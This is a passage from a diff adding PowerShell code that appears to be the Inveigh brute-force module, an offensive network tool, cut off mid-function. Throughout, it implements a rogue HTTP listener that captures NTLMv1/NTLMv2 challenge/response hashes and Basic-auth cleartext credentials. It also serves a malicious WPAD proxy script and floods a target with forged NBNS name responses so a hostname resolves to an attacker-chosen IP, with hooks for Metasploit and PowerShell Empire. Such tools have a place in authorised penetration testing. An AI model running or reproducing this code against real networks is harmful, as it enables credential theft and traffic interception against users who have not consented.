"\Inveigh-NTLMv1.txt" +$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.challenge = $Challenge +$inveigh.hostname_spoof = $false +$inveigh.bruteforce_running = $true + +if($StatusOutput -eq 'y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.status_queue.add("Inveigh Brute Force started at $(Get-Date -format 's')")|Out-Null +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force started")]) |Out-Null + +if($NBNS -eq 'y') +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Target = $SpooferTarget")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer IP Address = $SpooferIP")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer Hostname = $Hostname")|Out-Null + + if($NBNSPause) + { + $inveigh.status_queue.add("NBNS Brute Force Pause = $NBNSPause Seconds")|Out-Null + } + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null +} +else +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Disabled")|Out-Null +} + +if($HTTP -eq 'y') +{ + if($HTTPIP) + { + $inveigh.status_queue.add("HTTP IP Address = $HTTPIP")|Out-Null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.add("HTTP Port = $HTTPPort")|Out-Null + } + + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null + $inveigh.status_queue.add("HTTP Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } +} +else +{ + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null +} + +if($ConsoleOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true +} +else +{ + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } +} + +if($FileOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} + +if($RunCount) +{ + $inveigh.status_queue.add("Run Count = $RunCount")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop running Inveigh functions")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } +} + +if($inveigh.status_output) +{ + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop running Inveigh functions" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } +} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + Function HTTPListenerStop + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") + $inveigh.HTTP_client.Close() + start-sleep -s 1 + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + } +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$MachineAccounts,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + + if($inveigh.challenge) + { + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) # WWW-Authenticate + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($WPADIP -and $WPADPort) + { + if($WPADDirectHosts) + { + foreach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + else + { + $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse) + { + $HTTP_WPAD_response = $WPADResponse + } + + :HTTP_listener_loop while ($inveigh.bruteforce_running) + { + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + + $suppress_waiting_message = $false + + while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) + { + if(!$suppress_waiting_message) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + + Start-Sleep -s 1 + + if(!$inveigh.bruteforce_running) + { + HTTPListenerStop + } + } + + if(!$inveigh.HTTP_client.Connected) + { + $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection + $HTTP_stream = $inveigh.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($NBNSPause) + { + $inveigh.NBNS_stopwatch = [diagnostics.stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + if(($HTTP_request_raw_URL -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + } + else + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64) + } + + $HTTP_type = "HTTP" + $NTLM = 'NTLM' + $NTLM_auth = $false + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + } + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $HTTP_response_status_code = (0x34,0x30,0x31) + + if ($HTTP_request_bytes[8] -eq 1) + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $NTLM = NTLMChallengeBase64 + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM_auth = $true + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else + { + $NTLM = 'NTLM' + } + } + elseif($authentication_header.startswith('Basic ')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_message = $HTTP_WPAD_response + } + elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') + { + $HTTP_message = $HTTPResponse + } + else + { + $HTTP_message = '' + + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $NTLM` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $Basic` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + else + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + + $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length) + $HTTP_stream.Flush() + start-sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old= $inveigh.HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $inveigh.HTTP_client.Close() + + if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) + $inveigh.bruteforce_running = $false + } + } + + $HTTP_client_close = $false + } +} + +$spoofer_scriptblock = +{ + param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) + + $Hostname = $Hostname.ToUpper() + + [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + } + + [Byte[]]$NBNS_response_packet = (0x00,0x00)` + + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` + + $hostname_bytes` + + (0x00,0x20,0x00,0x01)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + + (0x00,0x00,0x00,0x00) + + $inveigh.console_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) + $NBNS_paused = $false + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [system.net.IPAddress]::Parse($SpooferTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while($inveigh.bruteforce_running) + { + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) + { + if($NBNS_paused) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) + $NBNS_paused = $false + } + + for ($i = 0; $i -lt 255; $i++) + { + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length) + + if($inveigh.hostname_spoof -and $NBNSPause) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) + $NBNS_paused = $true + break NBNS_spoofer_loop + } + } + } + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$control_bruteforce_scriptblock = +{ + param ($NBNSPause,$RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + if($NBNSPause) + { + $NBNS_pause = new-timespan -Seconds $NBNSPause + } + + while ($inveigh.bruteforce_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + 